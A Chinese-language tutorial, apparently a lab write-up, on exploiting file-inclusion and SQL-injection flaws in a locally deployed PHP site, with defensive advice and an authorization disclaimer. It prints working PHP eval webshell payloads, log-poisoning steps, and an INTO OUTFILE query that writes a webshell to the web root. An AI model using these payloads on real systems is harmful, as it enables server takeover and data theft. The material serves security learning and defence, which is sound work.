记一次网站渗透测试学习
字数 1248 2025-08-24 07:48:33
网站渗透测试实战教学文档
一、环境准备
-
PHPStudy环境搭建
- 使用PHPStudy搭建本地测试环境
- 推荐PHP版本:5.3(兼容性更好,旧版本漏洞更多)
- 确保Apache和MySQL服务正常运行
-
测试网站源码
- 获取目标网站源码
- 部署到PHPStudy的WWW目录下
二、文件包含漏洞利用
漏洞位置1:前台index.php
漏洞描述:
典型的文件包含漏洞,未对传入的文件参数进行校验,导致攻击者可调用任意文件。
利用步骤:
-
Burp Suite抓包
- 访问
include.php页面(URL示例:www.xionghai.com/include) - 使用Burp Suite拦截请求
- 访问
-
修改请求
- 在Burp的Repeater模块中修改请求
- 将文件路径参数修改为一句话木马:
<?php @eval($_REQUEST['cmd']);?>
-
验证利用
- 检查Apache错误日志,确认错误信息已被写入
- 日志中应出现新增的错误记录
-
连接Webshell
- 使用中国蚁剑连接已植入的Webshell
- 输入正确的URL和密码参数
漏洞位置2:后台admin/index.php
说明:
后台管理目录下的index.php同样存在文件包含漏洞,利用方式与前台类似。
三、SQL注入漏洞利用
漏洞位置1:login.php(后台报错注入)
利用方法:
- 在登录表单尝试注入payload
- 观察错误回显,获取数据库信息
漏洞位置2:/admin/files/editcolumn.php
利用步骤:
-
修改MySQL配置
- 定位到
my.ini配置文件 - 修改
secure-file-priv参数值(原值为null) - 添加配置:
secure-file-priv="" - 重启MySQL服务使配置生效
- 定位到
-
写入Webshell
- 通过SQL注入利用
INTO OUTFILE功能 - 执行类似以下SQL语句:
SELECT "<?php @eval($_POST['cmd']);?>" INTO OUTFILE "/var/www/html/shell.php" - 确认文件写入成功
- 通过SQL注入利用
-
连接Webshell
- 使用中国蚁剑连接写入的shell.php
- 验证连接是否成功
四、工具使用说明
1. Burp Suite使用要点
- 拦截HTTP请求
- 使用Repeater模块修改和重放请求
- 观察服务器响应
2. 中国蚁剑连接配置
- URL:Webshell的完整路径
- 连接类型:PHP
- 密码:与Webshell中设置的密码一致(如
cmd)
五、防护建议
-
文件包含漏洞防护
- 严格校验包含文件的路径
- 使用白名单机制限制可包含的文件
- 禁用危险函数如
include、require的动态参数
-
SQL注入防护
- 使用预处理语句(PDO)
- 对用户输入进行严格过滤
- 关闭错误回显
- 限制数据库用户权限
-
服务器配置
- 保持
secure-file-priv为安全值 - 定期更新PHP和MySQL版本
- 限制上传目录的执行权限
- 保持
六、注意事项
- 本教程仅用于合法授权的渗透测试和学习
- 实际测试前需获得目标系统的书面授权
- 测试完成后应及时删除测试留下的Webshell
- 建议在隔离的测试环境中进行练习
通过以上步骤,可以全面了解并实践基本的网站渗透测试技术,包括文件包含和SQL注入漏洞的发现与利用方法。